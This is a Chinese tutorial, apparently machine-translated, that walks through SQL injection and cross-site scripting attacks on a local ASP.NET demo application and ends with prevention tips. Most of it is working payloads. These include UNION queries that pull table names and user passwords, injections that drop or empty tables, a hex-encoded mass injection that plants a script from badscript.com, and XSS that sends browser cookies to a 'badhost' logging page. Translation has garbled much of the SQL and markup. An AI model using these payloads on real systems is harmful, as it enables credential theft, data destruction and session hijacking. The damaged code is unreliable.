SQL注入和跨站点脚本实例分析

SQL语句
441
0
0
2022-07-18
标签   SQL注入

特别声明:本文的目的,是让广大开发者重视自己在做Web系统开发,需要注重的代码安全问题。本文只是案例分析,请勿作攻击他人网站。

什么是SQL注入和跨站点脚本

跨站脚本(XSS或CSS)

  • 使恶意攻击者将客户端脚本(JavaScript)或HTML标记注入其他用户查看的网页。

SQL注入

  • 通过输入数据从客户端到应用程序插入SQL查询,后来传递给SQL Server实例进行解析和执行。
  • 非常常见于PHP和Classic ASP应用程序。

示例应用程序/使用代码

  • 设置示例应用程序的步骤
  1. 创建一个新数据库并将其命名为TestDB。
  2. 创建一个新的登录并将其映射到TestDB。
  3. 运行TestDBSetup.sql。
  • 运行示例应用程序的步骤
  1. 此示例代码需要Visual Studio 2008或更高版本; 如果没有,请从Microsoft下载90天的试用版(点击此处)。
  2. 下载示例代码并解压缩。
  3. 更新在连接字符串的web.config。
  4. 运行应用程序并按照本文中所述的示例进行操作。对不起,突出显示的文字在这里没有正确显示。复制和粘贴时,请务必从示例URL中删除任何换行符。
  5. 下面显示了示例代码的结构。

程序结构如下图:

SQL注入和跨站点脚本实例分析

程序结构图

查询字符串

  • SQL注入

定义:通过输入数据从客户端插入到随后传递给SQL Server实例以解析和执行的应用程序的SQL查询。

  • UNION SQL注入

我们将使用UNION语句挖掘数据库中的所有表名。连续两个“ - ”表示SQL注释。见下面的注释是绿色的,连字符之后的查询语句不会被SQL服务器评估。

清单1

SELECT * FROM dbo.MyComments WHERE ID = 1 - ORDER BY [Name]

执行如下所示的URL:

执行如下所示的URL:

清单2

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL FROM INFORMATION_SCHEMA.TABLES -

它将产生结果“使用UNION,INTERSECT或EXCEPT运算符组合的所有查询必须在其目标列表中具有相等数量的表达式。如果我们尝试运行此错误消息出现UNION,INTERSECT或EXCEPT查询在其表达式不相等数量的SELECT清单部分。解决方法是NULL在URL 中继续添加表达式,直到错误消息消失。

清单3

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULLNULL FROM INFORMATION_SCHEMA.TABLES - ... http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULLNULLNULLNULLNULLNULLNULL FROM INFORMATION_SCHEMA.TABLES -

如果查询在查询中具有相等的表达式数量,则错误消息将消失NULL。接下来,尝试用NULL替换TABLE_NAME每个值。如果您收到错误消息,请将其保留为NULL。

清单4

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,TABLE_NAME, TABLE_NAME,TABLE_NAME,TABLE_NAME,NULLNULL FROM INFORMATION_SCHEMA.TABLES--

结果

SQL注入和跨站点脚本实例分析

从上面显示的输出,我们知道数据库包含几个表,即MyComments,tbl_SQLInjection,tbl_users和TestTable。接下来,我们将提取tbl_users表中的每个列名。执行清单5所示的URL。

清单5

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULLNULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = ' tbl_users' -

结果

SQL注入和跨站点脚本实例分析

从上面显示的输出可以看出,tbl_users包含地址,密码,电话,秘密,secret2和用户名列。要确认,如下所示是SQL Server中tbl_users表模式的快照。

SQL注入和跨站点脚本实例分析

对不同的表名重复相同的步骤。

清单6

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULLNULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = ' MyComments' - ...

让我们检索存储在tbl_users表中的数据。%2b%27分别是“+”和“”“的URL编码。执行下面显示的URL。

清单7

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,用户名%2B %27 -272B密码,秘密%2B%27 -272B secret2,地址,电话%2B%27 -272Baddress,NULLNULL FROM tbl_users -

结果

SQL注入和跨站点脚本实例分析

要确认,如下所示是tbl_users表内容的快照。对其余表重复相同的步骤。

SQL注入和跨站点脚本实例分析

从sysprocesses表中检索数据

我们还可以从master..sysprocesses表中检索SQL Server实例名称,登录名,数据库名称,SQL Server版本等。执行下面的URL并观察输出。

清单8

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,DB_Name([dbid]) %2B CHAR0x2d)%2B loginame,net_address,hostname%2B CHAR0x2d)%2B%4040ServerName, %4040version,NULLNULL FROM master..sysprocesses -

更新表

清单9

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE tbl_Users SET Password = ' HACKED' WHERE用户名= ' test@test.com' -

结果

SQL注入和跨站点脚本实例分析

删除表中的数据

清单10

HTTP://本地主机:1234 /采样/ ListComments.aspx CID = 99999 DELETE FROM tbl_Users WHERE用户名= ' test@test.com' -

TRUNCATE表

清单11

http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 TRUNCATE TABLE tbl_Users -

删除表

清单12

http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 DROP TABLE tbl_Users -

基于Hex的SQL注入

一段时间后,我们将在服务器日志文件中看到下面列出的一些奇怪的条目:

清单13

http://www.YourDomain.com/SomePage.asp?id=1&cat = c DECLARE%20 @ S%20NVARCHAR(4000); SET%20 @ S = CAST(4445434c415245204054207661726368617228323535292c40432076617263 68617228343030302920da4445434c415245205461626c655f437572736f7220435552534f52204 64f5220da73656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a656374 7320612c737973636f6c756d6e73206220da776865726520612e69643d622e696420616e6420612 e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335 206f7220622e78747970653d323331206f7220622e78747970653d3136372920da4f50454e20546 1626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f 7220494e544f2040542c4043205748494c452840404645 ...

哪个在解码到字符串时会变成(请不要复制并运行这个查询):

清单14

DECLARE @T VARCHAR255),@C VARCHAR4000DECLARE Table_Cursor CURSOR FOR 选择 a.name,b.name 从 sysobjects中,syscolumns中b 其中 a.id = b.id 和 a.xtype = ' U' 和( b.xtype = 99 或 b.xtype = 35 或 b.xtype = 231 或 b.xtype = 167OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T@C WHILE(@@ FETCH_STATUS = 0BEGIN exec' update [' + @ T + ' ] set [' + @ C + ' ] =' ' “> </ title> <script src =”http:// badscript。 com / bad.js“> </ script> <! - ' ' + [' + @ C + ' ]其中' + @ C + ' 不像' ' %'> </ title> <script SRC = “http://badscript.com/bad.js”> </ SCRIPT> <-' 'FETCH NEXT FROM Table_Cursor INTO @T@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

上述查询将查找每个数据库表中的所有文本列,并附加恶意脚本。

举个例子

下面显示的是一个带有查询字符串的URL,以通过注释ID来从SQL Server检索注释:

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1

为了简单起见,我使用一个简单的Update语句来更新表。“ Update dbo.MyComment Set test='HACKED'”查询将看起来像十六进制的

0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427。的%3B是的URL编码的“;” 字符。将字符串附加到URL。见下文。

清单15

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR255SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR255))exec@s- 或 http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR255SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR255))exec@s-

执行上述URL之前:

SQL注入和跨站点脚本实例分析

执行上述URL后:

SQL注入和跨站点脚本实例分析

测试

将以下字符串附加到您的网页的URL中,该URL将参数:

清单16

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR500SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c275527292 04953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6e5d2 85b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494e544f20646 26f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d205375626a65637420746 f2053514c20496e6a656374696f6e27 作为 VARCHAR500))Exec@s-

如果URL参数值不是整数,请尝试追加';');;在DECLARE关键字的前面。见下面的例子。

清单17

; DECLARE @S VARCHAR500SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c 496e6a656374696f6e272c27552729204953204e554c4c20435245415445205441424c452064626f2e5b7462 6c5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c 2920494e5345525420494e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c45435420277061 6765202d205375626a65637420746f2053514c20496e6a656374696f6e27 作为 VARCHAR500))Exec@s- ...

然后,在SQL Server Management Studio 中执行SELECT * FROM dbo.tbl_SQLInjection查询:“ ”。如果看到类似于下面所示的结果,那么网页将进行基于十六进制的SQL注入。对其余网页重复上述步骤。

SQL注入和跨站点脚本实例分析

如果URL参数值不是整数,请尝试追加';');;在查询前。

跨站脚本(CSS / XSS)攻击

定义:使恶意攻击者将客户端脚本或HTML标记注入其他用户查看的网页。假设我们有一个登录页面,并显示每个不成功的尝试的错误消息。错误消息存储在URL的查询字符串中,并随后显示在Label

控件中。如下图:

SQL注入和跨站点脚本实例分析

考虑这种情况,匿名用户向您发送一封包含以下内容的电子邮件:

清单18

尊敬的管理员, 登录页面有问题:http:// localhost:1234 / Sample / LoginPage.aspx?strErr =223E%3C%736372697074207372633D%22687474703A%2F2F6C%6F63616C%686F73743A%393939372F626164686F73742F6D%616C%6963696F75737363726970742E% 6A%73223E%3C%2F7363726970743E 要么 “登录页面有问题http:// localhost:1234 / Sample / LoginPage.aspx” URL指向上述链接。

URL的一部分被编码为十六进制值。解码时会变成:

清单19

http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <script src = http:// localhost9997 / badhost / maliciousscript.js“ > </ script >

如果我们让我们防范并点击电子邮件中的链接,浏览器将执行恶意脚本。执行该URL,您应该会看到一个弹出消息。下面显示的是嵌入在查询字符串中以窃取浏览器Cookie的脚本。

清单20

http:// localhost:1234 / Sample / LoginPage.aspx?strErr =3C%7363726970743E%76617220733D%273C%494652414D%45207374796C%653D%22646973706C%61793A%6E%6F6E% 6522205352433D%687474703A%2F2F6C%6F63616C%686F73743A%393939372F626164686F73742F636F6F6B%69656D%6F6E%737465722E%617370783F633D%272b% 65736361706528646F63756D%656E%742E%636F6F6B%6965292b%273E%3C%5C%2F494652414D%453E%273B%646F63756D%656E%742E%77726974652873293C%2F7363726970743E

解码后的网址如下:

清单21

http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <script> var s ='<IFRAME style =“display:none”SRC = http:// localhost:9997 / badhost / cookiemonster.aspx?c = '%2bescape(document.cookie)%2b'> <\ / IFRAME>'; document.write(s)</ script>

该脚本将嵌入IFRAME页面并指向http:// localhost:9997 / badhost / cookiemonster.aspx,其中包含查询字符串参数“c”。此参数保存由“ SQLInjection_XSS_Demo ”应用程序创建的cookie值。为了演示这个,我在LoginPage.aspx上创建了一些cookies 。cookiemonster.aspx将记录所有在cookie名称和值CookieJar.txt。

清单22

void FakeCookies() { Response.Cookies [ “ email” ] .Value = “ bryian.tan@mydomain.com” ; Response.Cookies [ “ email” ] .Expires = DateTime.Now.AddDays(1); Response.Cookies [ “ age” ] .Value = “ 22” ; Response.Cookies [ “ age” ] .Expires = DateTime.Now.AddDays(1); }

执行上述URL后,我们将在CookieJar.txt中看到以下条目。

SQL注入和跨站点脚本实例分析

所以呢?攻击者将会怎样处理我的cookies信息?假设登录尝试成功后,页面会将一些信息存储在cookie中。使用tbl_users表中找到的用户名登录,然后刷新网页。该页面将从Cookie中提取一些信息,并将结果显示在页面上。见下文。

SQL注入和跨站点脚本实例分析

使用恶意脚本更新表

我们已经知道上一个示例中的表和列名称。执行列表23中显示的URL以使用JavaScript更新MyComment表以篡改Cookie。该脚本将脚本注入到cookies值中。然后导航到ListComments.aspx页面以触发脚本并返回LoginPage.aspx。您应该看到一个弹出消息“ 来自不良主机的XSS ”,表示脚本被浏览器成功执行。

清单23

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Comment =%27 <script> c =“\ <script src = \”http:// localhost9997 / badhost / maliciousscript.js \“> <\ / script>”; document.cookie =“email =”%2bc; </ script> test%27 WHERE id = 1 -

我们在MyComment表中附加一些恶意脚本。执行如下所示的URL:

清单24

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1555044415445204D%79436F6D%6D%656E%747320534554204E%616D%653D%273C%736372697074207372633D%22687474703A%2F2F6C%6F63616C%686F73743A%39393 9372F626164686F73742F6D%616C%6963696F75737363726970742E%6A%73223E%3C%2F7363726970743E%27202D%2D

URL字符串的一部分在解码时将变为:

清单25

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name ='<script src =“http:// localhost9997 / badhost / maliciousscript.js”> </ script>' -

刷新页面,我们将看到如下所示的弹出消息。这表示攻击者制作的恶意脚本被浏览器成功执行。

SQL注入和跨站点脚本实例分析

下面显示的URL将嵌入HTML的IFrame的页面,并会触发cookiemonster.aspx每一个用户导航到时间页面ListComments.aspx页。执行它,导航到ListComments.aspx页面,并观察到新的内容被附加到CookieJar.txt文件,而没有跟踪或警告消息。

清单26

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name = '<script> var s =“<IFRAME style = display:none SRC = http:// localhost9997 / badhost / cookiemonster.aspxc =“%2bescape(document.cookie)%2b”> <\ / IFRAME>“; document.write(s)</ script>' -

快速测试

将以下任何字符串附加到您的网页的参与网址。如果您看到一个弹出消息,那么该网页将受到跨站点脚本攻击。

  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <scrIpt> alert(”XSS“)</ scriPt>
  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53 %53%22%29%3C%2F%73%63%72%69%70%74%3E
  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr = </ TITLE> <sCRIPT> alert(“XSS”); </ SCRIPt>
  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <BODY%20ONLOAD = alert(“XSS”)>
  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <iFRAME%20SRC =”javascript:alert('XSS');“> </ IFRaME>

表单输入

SQL注入

我们可以通过简单地向登录ID 添加“或1 = 1 -”)或1 = 1--来绕过登录页面,并将任何值放在密码字段中。参见下面的例子。

SQL注入和跨站点脚本实例分析

如果没有定义的最大字符数TextBox,则攻击者可以将上述SQL语句附加到表单的输入值。假设我们有一个页面来更新评论,并用下面显示的值更新评论。在更新后,我们应该在tbl_SQLInjection表中看到一个新条目。

清单27

' ; DECLARE @S VARCHAR(500)SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c

接下来,我将演示一种简单的方式,攻击者可以更新表中具有相同值的每一列。我们来更新名称值被黑客'';

SQL注入和跨站点脚本实例分析

从MyComments表中检索所有行,您将看到“名称”列中的所有值都更新为“已被黑客入侵”。如前所述,连续两个连字符“ - ”表示SQL注释; 连字符之后的查询语句将不会被SQL Server评估。在复制此演示之前,请确保备份数据库。

SQL注入和跨站点脚本实例分析

跨站脚本

跨站点脚本可使恶意攻击者将客户端脚本或HTML标记注入其他用户查看的网页。这可以通过输入表单发生。使用字符串“ <script src =”http:// localhost:9997 / badhost / maliciousscript.js“> </ script>更新注释。当您导航到ListComments.aspx页面时,您应该会看到一个弹出消息。

SQL注入和跨站点脚本实例分析

快速测试

使用下面列出的任何字符串更新表单值,并观察结果。确保字符串在一行并且没有换行符。如果JavaScript被浏览器成功执行或者显示意想不到的结果,那么网页将受到跨站点脚本编写。

  • <BODY ONLOAD =''javascript:window.location =“http://www.google.com”'>>
  • <BODY ONLOAD =“javascript:alert(''XSS'')”>
  • <p onmouseover = javascript:window.location =“http:// www。google.com”;> test
  • <p onmousemove = javascript:window.location =“http:// www。google.com”;> test
  • <p onMouseDown = javascript:window.location =“http://www.google.com”;> test
  • <span onmouseover = javascript:window.location =“http:// www。google.com”;> test </ span>
  • <span onmousemove = javascript:window.location =“http://www.google.com”;> test </ span>
  • <h2 onmouseover = javascript:window.location =“http://www.google.com”;> test
  • <div onmouseover = javascript:window.location =“http:// 1208929383”;> test
  • <meta http-equiv =“refresh”content =“1; URL = http:// 1208929383”>
  • <b onmouseover = javascript:window.location =“http://www.google.com”;> test
  • <img onmouseover = javascript:window.location =“http://www.google.com”;>
  • <img src = http://www.google.com/images/srpr/nav_logo14.png width =“1”height =“1”onLoad = javascript:window.location =“http://www.google.com” ;>
  • <div style =“width:100%”onresize = javascript:window.location =“http://www.google.com”;> test </ div>(调整浏览器大小以查看行为)
  • <tt style =“width:100%”onmousemove = javascript:window.location =“http://www.google.com”;> test
  • <PLAINTEXT>测试
  • <object>测试
  • <applet>测试
  • <textarea>测试
  • <title>测试
  • <table>测试
  • <style>测试
  • <noscript>测试

JavaScript事件注入漏洞

JavaScriptFunctionInjection.aspx页面包含如何使用ASP.NET内嵌标签和客户端输入控制复制的JavaScript事件注入漏洞的两个例子。第一个示例使用单引号,第二个示例使用引号。请参见下图TextBox。如果ValidateRequest设置为false,将出现这种漏洞。

SQL注入和跨站点脚本实例分析

在输入框中键入一些内容,您应该看到类似于图20的结果。注意:第一个示例的输出已编码,单引号被双引号替换。

SQL注入和跨站点脚本实例分析

到底是怎么回事?我们编码了输出,并用双引号代替了单引号!我们来仔细看看HTML标记代码。JavaScript事件已成功注入第一个示例,但被第二个示例视为字符串。该HtmlEncode方法没有避免单引号,而是正确地转义了引号。我建议避免在单引号之间包装ASP.NET内联代码。别忘了测试第二个例子。第二个例子的输出没有被有意编码。

清单28

< 输入ID = “ 文本1" 名称=” 文本1" 类型= “ 文本” 值= ' A' ' 的onkeydown = 警报( “ 疑难杂症+的onkeydown”)''' / >
< input id =“ Text2” name =“ Text2” type =“ text” value =“ a” onKeyDown = alert(“ gotcha + onKeyDown”)“'” / >

防止SQL注入/跨站点角本的注意事项

  • 不要仅仅依靠客户端验证(JavaScript)

攻击者可以通过在Web浏览器中禁用JavaScript来绕过客户端验证。不要仅依赖于JavaScript来搜索和替换潜在的危险HTML语句或SQL注入关键字。确保在服务器端重新验证用户输入。我知道这是很多工作,但为了安全起见,我们必须这样做。在“添加注释”部分中,该页面使用JavaScript来检查空白字段。尝试在浏览器上禁用JavaScript,并再次添加评论。点击此处了解如何禁用和启用JavaScript。

  • 用双引号('')替换单引号(')

我看到一些网站提到可以通过简单地用双引号替换单引号来防止SQL注入漏洞。情况并非如此; 攻击者仍然可以使用恶意脚本或HTML标记注入表,而不使用单引号。恶意用户可以通过使用不同的字符编码来绕过过滤器。

  • 内联代码/标签

有几种从ASP.NET程序中显示信息的方法。我们可以使用嵌入式代码块在页面中显示信息。<%...%>或使用<%= ...%>构造。另一种方法是使用数据绑定语法<%#...%>将控件属性值绑定到数据,并指定检索,更新,删除和插入数据的值。确保在网页中显示之前,将表单数据和其他客户端请求进行编码(HttpUtility.HtmlEncode)。这将有助于防止可能的跨站点脚本注入攻击。使用ASP.NET 4.0,新的<%:...%>代码块 - 语法将在渲染之前自动对输出进行编码。

  • 存储过程

我在我的Web应用程序中使用存储过程。存储过程是否免疫SQL注入攻击?答案是“依赖”。如果我们在Stored Procedures中使用动态SQL语句,那么它们可能对SQL Injection攻击开放。下面显示了一个存储过程,其中包含动态SQL语句。

SQL注入和跨站点脚本实例分析

更新注释字段的值哈哈哈'; -。“使用内联查询更新”和“使用SP - 动态查询更新”按钮将更新表中具有指定值的每个注释字段。另一方面,“使用SP更新”按钮只会更新当前记录。

SQL注入和跨站点脚本实例分析

  • 请求验证(ASP.NET)

请注意,ValidateRequest指令中的@page属性设置为false,以便模拟经典ASP环境,并防止.NET Framework抛出错误:“ Request.Form从客户端检测到潜在的危险值”。如果您在应用程序中遇到此错误消息,请在禁用请求验证之前重新思考业务逻辑或页面体系结构。